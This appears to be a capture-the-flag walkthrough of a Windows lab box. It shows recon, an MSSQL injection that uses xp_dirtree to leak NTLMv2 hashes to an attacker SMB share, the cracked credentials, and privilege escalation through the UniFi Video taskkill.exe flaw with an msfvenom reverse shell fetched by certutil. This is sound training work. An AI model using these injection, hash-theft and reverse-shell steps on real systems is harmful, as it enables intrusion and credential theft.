$ nmap -sCV -p 80,443,3389,5985 -o nmap.txt 10.10.10.104
# Nmap 7.93 scan initiated Sat Oct 21 14:20:02 2023 as: nmap -sCV -p 80,443,3389,5985 -o nmap.txt 10.10.10.104
Nmap scan report for 10.10.10.104
Host is up (0.081s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2023-10-21T21:20:31+00:00; 0s from scanner time.
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: GIDDY
| NetBIOS_Domain_Name: GIDDY
| NetBIOS_Computer_Name: GIDDY
| DNS_Domain_Name: Giddy
| DNS_Computer_Name: Giddy
| Product_Version: 10.0.14393
|_ System_Time: 2023-10-21T21:20:16+00:00
|_ssl-date: 2023-10-21T21:20:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2023-10-20T21:09:11
|_Not valid after: 2024-04-20T21:09:11
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sat Oct 21 14:20:32 2023 -- 1 IP address (1 host up) scanned in 29.83 seconds
Visiting the website on port 80 and 443 both returned the same thing. It was the default Windows IIS, but with an image of a happy puppy. :D
With the small number of ports open and the seemingly bare Windows IIS server, I decided to directory/file brute-force the URL with gobuster
. I like using the directory-list-2.3-medium.txt
wordlist.
$ gobuster dir -w directory-list-2.3-medium.txt -u http://10.10.10.104
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/remote (Status: 302) [Size: 157] [--> /Remote/default.aspx?ReturnUrl=%2fremote]
/mvc (Status: 301) [Size: 147] [--> http://10.10.10.104/mvc/]
...
/Remote (Status: 302) [Size: 157] [--> /Remote/default.aspx?ReturnUrl=%2fRemote]
...
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
gobuster
was able to find 2 meaningful endpoints: /remote
and /mvc
. I checked out /remote
first, which featured Windows PowerShell Web Access portal. It required a pair of credentials, so I initially searched for public exploits that would work with unauthenticated access. Unfortunately, this was not the initial entry point.
I got caught up on this endpoint for a while, but decided to move on with the intention of finding a pair of credentials instead.
Visiting the /mvc
endpoint led me to a web application.
Clicking on any of the URLs led to what seemed like the result of a simple query.
For example, I can imagine that the backend SQL query looks something like this.
SELECT Name, ProductNumber, Price FROM Product WHERE CategoryId = ?;
Assuming the URL parameter (ProductSubCategoryId
) will replace the ?
, what could I use to verify that I am able to perform an unintended action? Here’s one way I verified using a single-quote ('
):
This meant that the query was somehow being manipulated in an unintended manner. The query with the single-quote would look something like this.
SELECT Name, ProductNumber, Price FROM Product WHERE CategoryId = 26';
Being able to successfully break the query means an attacker can manipulate the query because it is not being sanitized in the backend. But breaking the query is not enough to gain initial access. One thing an individual can do is stack queries in MSSQL
, meaning appending queries using the semi-colon (;
) delimiter. But what query to stack? My main goal by having access to MSSQL
query execution is to steal NTLMv2 hashes.
A very brief description of NTLMv2 theft is when a client authenticates to a server over NTLMv2 such as a SMB server. This authentication process reveals the authenticating user’s NTLMv2 hash, which can be cracked using a password cracker such as hashcat
.
To initiate an authentication process through the MSSQL
prompt, I can use the xp_dirtree
command. In a typical MSSQL
prompt, the full command to initiate an authentication using xp_dirtree
to my SMB server would look like this.
1> EXEC master ..xp_dirtree '\\10.10.14.22\share';
Hence, the stacked query in the URL would look like this.
https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18; EXEC master ..xp_dirtree '\\10.10.14.22\share'; --
On top of this, ensure that all necessary characters are URL encoded. Without the correct encoding, the correct characters may not be communicated to/in the backend.
https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18;%20EXEC%20master%20..xp_dirtree%20%27\\10.10.14.22\share%27;%20--
To start a listening SMB server (attacking machine) that the client (victim machine) would be authenticating to, I used smbserver.py
.
$ smbserver.py share . -smb2support
Now, I can initiate an authentication request using my constructed URL.
And there’s my NTLMv2 hash.
$ smbserver.py share . -smb2support
Impacket for Exegol - v0.10.1.dev1+20230909.241.3001b26 - Copyright 2022 Fortra - forked by ThePorgs
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.104,49713)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:d588d082935b966f9496015349265337:010100000000000080959c650809da012061443fc6c3418d00000000010010006c0041007a006e0078004c0071006400030010006c0041007a006e0078004c00710064000200100051006d00750059004900570050004d000400100051006d00750059004900570050004d000700080080959c650809da01060004000200000008003000300000000000000000000000003000009723e83d8a928d0125f1cec4f75fde0d3e213ae439b0ac33155a857a38b9ed480a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003600000000000000000000000000
[*] Connecting Share(1:share)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:1f196e17d13979236840229f936717c7:010100000000000080959c650809da01dab3557c6f0f6c8d00000000010010006c0041007a006e0078004c0071006400030010006c0041007a006e0078004c00710064000200100051006d00750059004900570050004d000400100051006d00750059004900570050004d000700080080959c650809da01060004000200000008003000300000000000000000000000003000009723e83d8a928d0125f1cec4f75fde0d3e213ae439b0ac33155a857a38b9ed480a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003600000000000000000000000000
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.10.104,49713)
[*] Remaining connections []
Using this command, I can crack the hash. NTLMv2Hash.txt
contains the hash, and rockyou.txt
is the wordlist I am cracking the hash against.
$ hashcat -m 5600 NTLMv2Hash.txt rockyou.txt
There was my set of credentials.
STACY::GIDDY:xNnWo6272k7x
And there was my PowerShell access.
Looking around, I found a file named unifivideo
. The sole contents seemed to be ASCII text reading stop
.
I researched programs this file may be related to and discovered it was related to “Ubiquiti UniFi Video”. Searching for “unifivideo exploit” led me to CVE-2016-6914 (Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation).
This exploit exists due to the fact “Ubiquiti UniFi Video for Windows” is installed in C:\ProgramData\unifi-video\
by default. This program also comes with the “Ubiquiti UniFi Video” service, which runs as the NT AUTHORITY/SYSTEM
account.
Because it runs as NT AUTHORITY/SYSTEM
an attacker can take advantage of this if they have permission to control what is being executed. Luckily, this is possible: the C:\ProgramData
directory’s default permissions allow any user to write to the contents of the directory. Because the C:\ProgramData\unifi-video
has no explicit permissions, the default permissions of the C:\ProgramData
directory are inherited.
When the “Ubiquiti UniFi Video” service is started, it looks and tries to execute a file at C:\ProgramData\unifi-video\taskkill.exe
. This file does not exist by default, allowing for Arbitrary Code Execution.
My choice of privilege escalation would be to get a shell, so I opted for a reverse shell in my payload.
To create my reverse shell payload, I used msfvenom
and ran the following command.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f exe > taskkill.exe
Starting my meterpreter
listener.
$ msfconsole
msf6 > use windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.22
msf6 > set LPORT 4444
msf6 > exploit
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 10.10.14.22:4444
With my listener running, I grabbed my taskkill.exe
file from my attacking machine to my victim machine using a python3
web server and certutil
on Powershell
to download the file.
PS C:\ProgramData\unifi-video> certutil -f -split -urlcache http://10.10.14.22/taskkill.exe
Now that my payload is saved into the file that will be executed by the service on start, all I have to do is restart the service.
PS C:\ProgramData\unifi-video> Restart-Service -Name "Ubiquiti UniFi Video"
And there was my meterpreter
session. I connected to the session, spawned a shell, and read the root
flag.